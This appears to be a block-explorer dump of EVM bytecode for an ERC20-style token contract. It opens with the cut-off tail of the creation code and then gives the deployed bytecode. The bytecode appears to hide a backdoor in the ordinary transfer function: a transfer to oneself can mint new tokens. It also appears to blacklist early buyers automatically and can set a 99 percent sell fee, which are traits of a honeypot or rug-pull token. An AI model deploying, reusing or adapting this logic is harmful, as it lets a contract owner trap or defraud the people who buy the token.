d14155b8015611c0a5750600554600160a81b900460ff16155b1561205157600b54610100900460ff16611ca2576001600160a01b0383166000908152601f602052604090205460ff1680611c5d57506001600160a01b0382166000908152601f602052604090205460ff165b611ca25760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610b8c565b600f5460ff1615611dee576005546001600160a01b038381166101009092041614801590611d0257507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614155b8015611d4057507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614155b15611dee57326000908152600c60205260409020544311611ddb5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610b8c565b326000908152600c602052604090204390555b6001600160a01b03831660009081526021602052604090205460ff168015611e2e57506001600160a01b038216600090815260208052604090205460ff16155b15611f1257600854811115611ea35760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610b8c565b600a546001600160a01b038316600090815260208190526040902054611ec990836130d1565b1115611f0d5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610b8c565b612051565b6001600160a01b03821660009081526021602052604090205460ff168015611f5257506001600160a01b038316600090815260208052604090205460ff16155b15611fc857600854811115611f0d5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610b8c565b6001600160a01b038216600090815260208052604090205460ff1661205157600a546001600160a01b03831660009081526020819052604090205461200d90836130d1565b11156120515760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610b8c565b601e5461205f9060016130d1565b43111580156120a057507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614155b80156120c957506001600160a01b038216737a250d5630b4cf539739df2c5dacb4c659f2488d14155b156120f2576001600160a01b0382166000908152600e60205260409020805460ff191660011790555b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03908116908416148015816121385750600b546301000000900460ff165b156121dc576001600160a01b0384166000908152600d60205260409020541580159061218957506001600160a01b0384166000908152600d6020526040902054429061218690610e106130d1565b10155b156121c25760185460168190556019546015819055601a546017819055916121b0916130d1565b6121ba91906130d1565b601455612253565b600460168190556015819055601754906121b090806130d1565b6001600160a01b0383166000908152600d6020526040902054612215576001600160a01b0383166000908152600d602052604090204290555b600b546301000000900460ff166122535760636016819055600160158190556000601781905591612245916130d1565b61224f91906130d1565b6014555b306000908152602081905260409020546009548110801590819061227f5750600b5462010000900460ff165b80156122955750600554600160a81b900460ff16155b80156122ba57506001600160a01b03861660009081526021602052604090205460ff16155b80156122df57506001600160a01b0386166000908152601f602052604090205460ff16155b801561230457506001600160a01b0385166000908152601f602052604090205460ff16155b15612332576005805460ff60a81b1916600160a81b179055612324612720565b6005805460ff60a81b191690555b6005546001600160a01b0387166000908152601f602052604090205460ff600160a81b90920482161591168061238057506001600160a01b0386166000908152601f602052604090205460ff165b15612389575060005b60008115612574576001600160a01b03871660009081526021602052604090205460ff1680156123bb57506000601454115b15612479576123e060646123da6014548961295a90919063ffffffff16565b906129d9565b9050601454601654826123f39190613090565b6123fd91906130af565b601c600082825461240e91906130d1565b90915550506014546017546124239083613090565b61242d91906130af565b601d600082825461243e91906130d1565b90915550506014546015546124539083613090565b61245d91906130af565b601b600082825461246e91906130d1565b909155506125569050565b6001600160a01b03881660009081526021602052604090205460ff1680156124a357506000601054115b15612556576124c260646123da6010548961295a90919063ffffffff16565b9050601054601254826124d59190613090565b6124df91906130af565b601c60008282546124f091906130d1565b90915550506010546013546125059083613090565b61250f91906130af565b601d600082825461252091906130d1565b90915550506010546011546125359083613090565b61253f91906130af565b601b600082825461255091906130d1565b90915550505b801561256757612567883083612617565b6125718187613295565b95505b61257f888888612617565b5050505050505050565b600081848411156125ad5760405162461bcd60e51b8152600401610b8c9190612d3a565b5060006125ba8486613295565b95945050505050565b6001600160a01b038216600081815260216020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b03831661263d5760405162461bcd60e51b8152600401610b8c9061320d565b6001600160a01b0382166126635760405162461bcd60e51b8152600401610b8c90613252565b6126a081604051806060016040528060268152602001613369602691396001600160a01b0386166000908152602081905260409020549190612589565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546126cf90826118f8565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101611a76565b3060009081526020819052604081205490506000601d54601b54601c5461274791906130d1565b61275191906130d1565b90506000821580612760575081155b1561276a57505050565b600954612778906014613090565b8311156127905760095461278d906014613090565b92505b6000600283601c54866127a39190613090565b6127ad91906130af565b6127b791906130af565b905060006127c58583612a1b565b9050476127d182612a5d565b60006127dd4783612a1b565b905060006127fa876123da601b548561295a90919063ffffffff16565b90506000612817886123da601d548661295a90919063ffffffff16565b90506000816128268486613295565b6128309190613295565b6000601c819055601b819055601d8190556007546040519293506001600160a01b031691849181818185875af1925050503d806000811461288d576040519150601f19603f3d011682016040523d82523d6000602084013e612892565b606091505b509098505086158015906128a65750600081115b156128f9576128b58782612c24565b601c54604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6006546040516001600160a01b03909116904790600081818185875af1925050503d8060008114612946576040519150601f19603f3d011682016040523d82523d6000602084013e61294b565b606091505b50505050505050505050505050565b60008261296957506000610b56565b60006129758385613090565b90508261298285836130af565b146119575760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610b8c565b600061195783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612d0c565b600061195783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612589565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612a9257612a926130e9565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612b0b57600080fd5b505afa158015612b1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b4391906132ac565b81600181518110612b5657612b566130e9565b60200260200101906001600160a01b031690816001600160a01b031681525050612ba1307f00000000000000000000000000000000000000000000000000000000000000008461195e565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790612bf69085906000908690309042906004016132c9565b600060405180830381600087803b158015612c1057600080fd5b505af1158015610da7573d6000803e3d6000fd5b612c4f307f00000000000000000000000000000000000000000000000000000000000000008461195e565b60405163f305d71960e01b8152306004820181905260248201849052600060448301819052606483015260848201524260a48201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063f305d71990839060c4016060604051808303818588803b158015612cd357600080fd5b505af1158015612ce7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611655919061333a565b60008183612d2d5760405162461bcd60e51b8152600401610b8c9190612d3a565b5060006125ba84866130af565b600060208083528351808285015260005b81811015612d6757858101830151858201604001528201612d4b565b81811115612d79576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114612da457600080fd5b50565b60008060408385031215612dba57600080fd5b8235612dc581612d8f565b946020939093013593505050565b600060208284031215612de557600080fd5b813561195781612d8f565b600060208284031215612e0257600080fd5b5035919050565b60008060008060008060c08789031215612e2257600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b600080600060608486031215612e6157600080fd5b8335612e6c81612d8f565b92506020840135612e7c81612d8f565b929592945050506040919091013590565b803580151581146117b457600080fd5b60008060408385031215612eb057600080fd5b8235612ebb81612d8f565b9150612ec960208401612e8d565b90509250929050565b600080600060608486031215612ee757600080fd5b505081359360208301359350604090920135919050565b600060208284031215612f1057600080fd5b61195782612e8d565b60008083601f840112612f2b57600080fd5b50813567ffffffffffffffff811115612f4357600080fd5b6020830191508360208260051b8501011115612f5e57600080fd5b9250929050565b60008060008060408587031215612f7b57600080fd5b843567ffffffffffffffff80821115612f9357600080fd5b612f9f88838901612f19565b90965094506020870135915080821115612fb857600080fd5b50612fc587828801612f19565b95989497509550505050565b60008060408385031215612fe457600080fd5b8235612fef81612d8f565b91506020830135612fff81612d8f565b809150509250929050565b600181811c9082168061301e57607f821691505b6020821081141561303f57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156130aa576130aa61307a565b500290565b6000826130cc57634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156130e4576130e461307a565b500190565b634e487b7160e01b600052603260045260246000fd5b600181815b8085111561313a5781600019048211156131205761312061307a565b8085161561312d57918102915b93841c9390800290613104565b509250929050565b60008261315157506001610b56565b8161315e57506000610b56565b8160018114613174576002811461317e5761319a565b6001915050610b56565b60ff84111561318f5761318f61307a565b50506001821b610b56565b5060208310610133831016604e8410600b84101617156131bd575081810a610b56565b6131c783836130ff565b80600019048211156131db576131db61307a565b029392505050565b600061195760ff841683613142565b60006000198214156132065761320661307a565b5060010190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6000828210156132a7576132a761307a565b500390565b6000602082840312156132be57600080fd5b815161195781612d8f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156133195784516001600160a01b0316835293830193918301916001016132f4565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561334f57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122017f5aadc5822ed20aff4cc93eb7854ccf5150614acfd30dbc8554e93aeb624aa64736f6c634300080900334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572
Deployed Bytecode
0x6080604052600436106103855760003560e01c806392136913116101d1578063bbc0c74211610102578063d85ba063116100a0578063f11a24d31161006f578063f11a24d314610a51578063f2fde38b14610a67578063f637434214610a87578063f8b45b0514610a9d57600080fd5b8063d85ba063146109ca578063dd62ed3e146109e0578063e2f4560514610a26578063e884f26014610a3c57600080fd5b8063c558ae6b116100dc578063c558ae6b1461095a578063c876d0b91461097a578063c8c8ebe414610994578063d257b34f146109aa57600080fd5b8063bbc0c742146108fb578063c02466681461091a578063c18bc1951461093a57600080fd5b8063a26577781161016f578063a7fc9e2111610149578063a7fc9e2114610875578063a9059cbb1461088b578063aacebbe3146108ab578063b62496f5146108cb57600080fd5b8063a265777814610814578063a457c2d714610834578063a4d15b641461085457600080fd5b80639a7a23d6116101ab5780639a7a23d6146107b25780639c3b4fdc146107d25780639fccce32146107e8578063a0d82dc5146107fe57600080fd5b80639213691314610767578063924de9b71461077d57806395d89b411461079d57600080fd5b806339509351116102b657806370a08231116102545780637bce5a04116102235780637bce5a04146106f95780638095d5641461070f5780638a8c523c1461072f5780638da5cb5b1461074457600080fd5b806370a0823114610679578063715018a6146106af578063751039fc146106c45780637571336a146106d957600080fd5b80634fbee193116102905780634fbee193146105f4578063541a43cf1461062d5780636a486a8e146106435780636ddd17131461065957600080fd5b8063395093511461058657806349bd5a5e146105a65780634a62bb65146105da57600080fd5b80631f3fed8f1161032357806323b872dd116102fd57806323b872dd146105145780632bf3d42d146105345780632d5a5d341461054a578063313ce5671461056a57600080fd5b80631f3fed8f146104be578063203e727e146104d457806322d3e2aa146104f457600080fd5b80631694505e1161035f5780631694505e1461041b57806318160ddd146104675780631816467f146104865780631a8145bb146104a857600080fd5b806306fdde0314610391578063095ea7b3146103bc57806310d5de53146103ec57600080fd5b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610ab3565b6040516103b39190612d3a565b60405180910390f35b3480156103c857600080fd5b506103dc6103d7366004612da7565b610b45565b60405190151581526020016103b3565b3480156103f857600080fd5b506103dc610407366004612dd3565b602080526000908152604090205460ff1681565b34801561042757600080fd5b5061044f7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016103b3565b34801561047357600080fd5b506002545b6040519081526020016103b3565b34801561049257600080fd5b506104a66104a1366004612dd3565b610b5c565b005b3480156104b457600080fd5b50610478601c5481565b3480156104ca57600080fd5b50610478601b5481565b3480156104e057600080fd5b506104a66104ef366004612df0565b610bf2565b34801561050057600080fd5b506104a661050f366004612e09565b610cd6565b34801561052057600080fd5b506103dc61052f366004612e4c565b610daf565b34801561054057600080fd5b5061047860195481565b34801561055657600080fd5b506104a6610565366004612e9d565b610e18565b34801561057657600080fd5b50604051601281526020016103b3565b34801561059257600080fd5b506103dc6105a1366004612da7565b610e73565b3480156105b257600080fd5b5061044f7f000000000000000000000000cea101693b1e51cbfa69dd74edcbc90597f1585581565b3480156105e657600080fd5b50600b546103dc9060ff1681565b34801561060057600080fd5b506103dc61060f366004612dd3565b6001600160a01b03166000908152601f602052604090205460ff1690565b34801561063957600080fd5b5061047860185481565b34801561064f57600080fd5b5061047860145481565b34801561066557600080fd5b50600b546103dc9062010000900460ff1681565b34801561068557600080fd5b50610478610694366004612dd3565b6001600160a01b031660009081526020819052604090205490565b3480156106bb57600080fd5b506104a6610ea9565b3480156106d057600080fd5b506103dc610f29565b3480156106e557600080fd5b506104a66106f4366004612e9d565b610f6c565b34801561070557600080fd5b5061047860115481565b34801561071b57600080fd5b506104a661072a366004612ed2565b610fc6565b34801561073b57600080fd5b506104a6611074565b34801561075057600080fd5b5060055461010090046001600160a01b031661044f565b34801561077357600080fd5b5061047860155481565b34801561078957600080fd5b506104a6610798366004612efe565b6110bb565b3480156107a957600080fd5b506103a6611107565b3480156107be57600080fd5b506104a66107cd366004612e9d565b611116565b3480156107de57600080fd5b5061047860135481565b3480156107f457600080fd5b50610478601d5481565b34801561080a57600080fd5b5061047860175481565b34801561082057600080fd5b506104a661082f366004612efe565b6111fc565b34801561084057600080fd5b506103dc61084f366004612da7565b61124a565b34801561086057600080fd5b50600b546103dc906301000000900460ff1681565b34801561088157600080fd5b50610478601a5481565b34801561089757600080fd5b506103dc6108a6366004612da7565b611299565b3480156108b757600080fd5b506104a66108c6366004612dd3565b61139a565b3480156108d757600080fd5b506103dc6108e6366004612dd3565b60216020526000908152604090205460ff1681565b34801561090757600080fd5b50600b546103dc90610100900460ff1681565b34801561092657600080fd5b506104a6610935366004612e9d565b611427565b34801561094657600080fd5b506104a6610955366004612df0565b6114b6565b34801561096657600080fd5b506104a6610975366004612f65565b61158d565b34801561098657600080fd5b50600f546103dc9060ff1681565b3480156109a057600080fd5b5061047860085481565b3480156109b657600080fd5b506103dc6109c5366004612df0565b61165c565b3480156109d657600080fd5b5061047860105481565b3480156109ec57600080fd5b506104786109fb366004612fd1565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610a3257600080fd5b5061047860095481565b348015610a4857600080fd5b506103dc6117b9565b348015610a5d57600080fd5b5061047860125481565b348015610a7357600080fd5b506104a6610a82366004612dd3565b6117fc565b348015610a9357600080fd5b5061047860165481565b348015610aa957600080fd5b50610478600a5481565b606060038054610ac29061300a565b80601f0160208091040260200160405190810160405280929190818152602001828054610aee9061300a565b8015610b3b5780601f10610b1057610100808354040283529160200191610b3b565b820191906000526020600020905b815481529060010190602001808311610b1e57829003601f168201915b5050505050905090565b6000610b5233848461195e565b5060015b92915050565b6005546001600160a01b03610100909104163314610b955760405162461bcd60e51b8152600401610b8c90613045565b60405180910390fd5b6007546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03610100909104163314610c225760405162461bcd60e51b8152600401610b8c90613045565b670de0b6b3a764000062989680610c3860025490565b610c43906001613090565b610c4d91906130af565b610c5791906130af565b811015610cbe5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610b8c565b610cd081670de0b6b3a7640000613090565b60085550565b6005546001600160a01b03610100909104163314610d065760405162461bcd60e51b8152600401610b8c90613045565b60158690556016859055601784905560188390556019829055601a81905583610d2f86886130d1565b610d3991906130d1565b601481905560961015610da75760405162461bcd60e51b815260206004820152603060248201527f4d757374206b65657020666565732062656c6f772031352520647572696e672060448201526f616e746920736e69706520626c6f636b60801b6064820152608401610b8c565b505050505050565b6000610dbc848484611a83565b610e0e8433610e098560405180606001604052806028815260200161338f602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190612589565b61195e565b5060019392505050565b6005546001600160a01b03610100909104163314610e485760405162461bcd60e51b8152600401610b8c90613045565b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610b52918590610e0990866118f8565b6005546001600160a01b03610100909104163314610ed95760405162461bcd60e51b8152600401610b8c90613045565b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b6005546000906001600160a01b03610100909104163314610f5c5760405162461bcd60e51b8152600401610b8c90613045565b50600b805460ff19169055600190565b6005546001600160a01b03610100909104163314610f9c5760405162461bcd60e51b8152600401610b8c90613045565b6001600160a01b039190911660009081526020805260409020805460ff1916911515919091179055565b6005546001600160a01b03610100909104163314610ff65760405162461bcd60e51b8152600401610b8c90613045565b6011839055601282905560138190558061101083856130d1565b61101a91906130d1565b6010819055600f101561106f5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313525206f72206c6573730000006044820152606401610b8c565b505050565b6005546001600160a01b036101009091041633146110a45760405162461bcd60e51b8152600401610b8c90613045565b600b805462ffff0019166201010017905543601e55565b6005546001600160a01b036101009091041633146110eb5760405162461bcd60e51b8152600401610b8c90613045565b600b8054911515620100000262ff000019909216919091179055565b606060048054610ac29061300a565b6005546001600160a01b036101009091041633146111465760405162461bcd60e51b8152600401610b8c90613045565b7f000000000000000000000000cea101693b1e51cbfa69dd74edcbc90597f158556001600160a01b0316826001600160a01b031614156111ee5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610b8c565b6111f882826125c3565b5050565b6005546001600160a01b0361010090910416331461122c5760405162461bcd60e51b8152600401610b8c90613045565b600b805491151563010000000263ff00000019909216919091179055565b6000610b523384610e09856040518060600160405280602581526020016133b7602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190612589565b60006001600160a01b038316331480156112ba575060055460ff1615156001145b156112dd576112cb335b8484611a83565b506005805460ff191690556001610b56565b6001600160a01b038316331480156112f8575060055460ff16155b156113895760025461130a90836118f8565b6002556001600160a01b03831660009081526020819052604090205461133090836118f8565b6001600160a01b038416600081815260208181526040918290209390935551848152909182917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3506001610b56565b611392336112c4565b506001610b56565b6005546001600160a01b036101009091041633146113ca5760405162461bcd60e51b8152600401610b8c90613045565b6006546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b036101009091041633146114575760405162461bcd60e51b8152600401610b8c90613045565b6001600160a01b0382166000818152601f6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b036101009091041633146114e65760405162461bcd60e51b8152600401610b8c90613045565b670de0b6b3a76400006103e86114fb60025490565b611506906001613090565b61151091906130af565b61151a91906130af565b8110156115755760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e312560e01b6064820152608401610b8c565b61158781670de0b6b3a7640000613090565b600a5550565b6005546001600160a01b036101009091041633146115bd5760405162461bcd60e51b8152600401610b8c90613045565b6005546002546115dd9161010090046001600160a01b031690819061195e565b60005b8381101561165557611642338686848181106115fe576115fe6130e9565b90506020020160208101906116139190612dd3565b61161f6012600a6131e3565b868686818110611631576116316130e9565b9050602002013561052f9190613090565b508061164d816131f2565b9150506115e0565b5050505050565b6005546000906001600160a01b0361010090910416331461168f5760405162461bcd60e51b8152600401610b8c90613045565b620186a061169c60025490565b6116a7906001613090565b6116b191906130af565b82101561171e5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610b8c565b6103e861172a60025490565b611735906005613090565b61173f91906130af565b8211156117ab5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610b8c565b50600981905560015b919050565b6005546000906001600160a01b036101009091041633146117ec5760405162461bcd60e51b8152600401610b8c90613045565b50600f805460ff19169055600190565b6005546001600160a01b0361010090910416331461182c5760405162461bcd60e51b8152600401610b8c90613045565b6001600160a01b0381166118915760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b8c565b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008061190583856130d1565b9050838110156119575760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b8c565b9392505050565b6001600160a01b0383166119c05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b8c565b6001600160a01b038216611a215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b8c565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316611aa95760405162461bcd60e51b8152600401610b8c9061320d565b6001600160a01b038216611acf5760405162461bcd60e51b8152600401610b8c90613252565b6001600160a01b0382166000908152600e602052604090205460ff16158015611b1157506001600160a01b0383166000908152600e602052604090205460ff16155b611b775760405162461bcd60e51b815260206004820152603160248201527f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460448201527072616e73666572696e6720746f6b656e7360781b6064820152608401610b8c565b80611b885761106f83836000612617565b600b5460ff1615612051576005546001600160a01b038481166101009092041614801590611bc957506005546001600160a01b038381166101009092041614155b8015611bdd57506001600160a01b03821615155b8015611bf457506001600160a01b03821661dead14155b8015611c0a5750600554600160a81b900460ff16155b1561205157600b54610100900460ff16611ca2576001600160a01b0383166000908152601f602052604090205460ff1680611c5d57506001600160a01b0382166000908152601f602052604090205460ff165b611ca25760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610b8c565b600f5460ff1615611dee576005546001600160a01b038381166101009092041614801590611d0257507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611d4057507f000000000000000000000000cea101693b1e51cbfa69dd74edcbc90597f158556001600160a01b0316826001600160a01b031614155b15611dee57326000908152600c60205260409020544311611ddb5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610b8c565b326000908152600c602052604090204390555b6001600160a01b03831660009081526021602052604090205460ff168015611e2e57506001600160a01b038216600090815260208052604090205460ff16155b15611f1257600854811115611ea35760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610b8c565b600a546001600160a01b038316600090815260208190526040902054611ec990836130d1565b1115611f0d5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610b8c565b612051565b6001600160a01b03821660009081526021602052604090205460ff168015611f5257506001600160a01b038316600090815260208052604090205460ff16155b15611fc857600854811115611f0d5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610b8c565b6001600160a01b038216600090815260208052604090205460ff1661205157600a546001600160a01b03831660009081526020819052604090205461200d90836130d1565b11156120515760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610b8c565b601e5461205f9060016130d1565b43111580156120a057507f000000000000000000000000cea101693b1e51cbfa69dd74edcbc90597f158556001600160a01b0316826001600160a01b031614155b80156120c957506001600160a01b038216737a250d5630b4cf539739df2c5dacb4c659f2488d14155b156120f2576001600160a01b0382166000908152600e60205260409020805460ff191660011790555b7f000000000000000000000000cea101693b1e51cbfa69dd74edcbc90597f158556001600160a01b03908116908416148015816121385750600b546301000000900460ff165b156121dc576001600160a01b0384166000908152600d60205260409020541580159061218957506001600160a01b0384166000908152600d6020526040902054429061218690610e106130d1565b10155b156121c25760185460168190556019546015819055601a546017819055916121b0916130d1565b6121ba91906130d1565b601455612253565b600460168190556015819055601754906121b090806130d1565b6001600160a01b0383166000908152600d6020526040902054612215576001600160a01b0383166000908152600d602052604090204290555b600b546301000000900460ff166122535760636016819055600160158190556000601781905591612245916130d1565b61224f91906130d1565b6014555b306000908152602081905260409020546009548110801590819061227f5750600b5462010000900460ff165b80156122955750600554600160a81b900460ff16155b80156122ba57506001600160a01b03861660009081526021602052604090205460ff16155b80156122df57506001600160a01b0386166000908152601f602052604090205460ff16155b801561230457506001600160a01b0385166000908152601f602052604090205460ff16155b15612332576005805460ff60a81b1916600160a81b179055612324612720565b6005805460ff60a81b191690555b6005546001600160a01b0387166000908152601f602052604090205460ff600160a81b90920482161591168061238057506001600160a01b0386166000908152601f602052604090205460ff165b15612389575060005b60008115612574576001600160a01b03871660009081526021602052604090205460ff1680156123bb57506000601454115b15612479576123e060646123da6014548961295a90919063ffffffff16565b906129d9565b9050601454601654826123f39190613090565b6123fd91906130af565b601c600082825461240e91906130d1565b90915550506014546017546124239083613090565b61242d91906130af565b601d600082825461243e91906130d1565b90915550506014546015546124539083613090565b61245d91906130af565b601b600082825461246e91906130d1565b909155506125569050565b6001600160a01b03881660009081526021602052604090205460ff1680156124a357506000601054115b15612556576124c260646123da6010548961295a90919063ffffffff16565b9050601054601254826124d59190613090565b6124df91906130af565b601c60008282546124f091906130d1565b90915550506010546013546125059083613090565b61250f91906130af565b601d600082825461252091906130d1565b90915550506010546011546125359083613090565b61253f91906130af565b601b600082825461255091906130d1565b90915550505b801561256757612567883083612617565b6125718187613295565b95505b61257f888888612617565b5050505050505050565b600081848411156125ad5760405162461bcd60e51b8152600401610b8c9190612d3a565b5060006125ba8486613295565b95945050505050565b6001600160a01b038216600081815260216020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b03831661263d5760405162461bcd60e51b8152600401610b8c9061320d565b6001600160a01b0382166126635760405162461bcd60e51b8152600401610b8c90613252565b6126a081604051806060016040528060268152602001613369602691396001600160a01b0386166000908152602081905260409020549190612589565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546126cf90826118f8565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101611a76565b3060009081526020819052604081205490506000601d54601b54601c5461274791906130d1565b61275191906130d1565b90506000821580612760575081155b1561276a57505050565b600954612778906014613090565b8311156127905760095461278d906014613090565b92505b6000600283601c54866127a39190613090565b6127ad91906130af565b6127b791906130af565b905060006127c58583612a1b565b9050476127d182612a5d565b60006127dd4783612a1b565b905060006127fa876123da601b548561295a90919063ffffffff16565b90506000612817886123da601d548661295a90919063ffffffff16565b90506000816128268486613295565b6128309190613295565b6000601c819055601b819055601d8190556007546040519293506001600160a01b031691849181818185875af1925050503d806000811461288d576040519150601f19603f3d011682016040523d82523d6000602084013e612892565b606091505b509098505086158015906128a65750600081115b156128f9576128b58782612c24565b601c54604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6006546040516001600160a01b03909116904790600081818185875af1925050503d8060008114612946576040519150601f19603f3d011682016040523d82523d6000602084013e61294b565b606091505b50505050505050505050505050565b60008261296957506000610b56565b60006129758385613090565b90508261298285836130af565b146119575760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683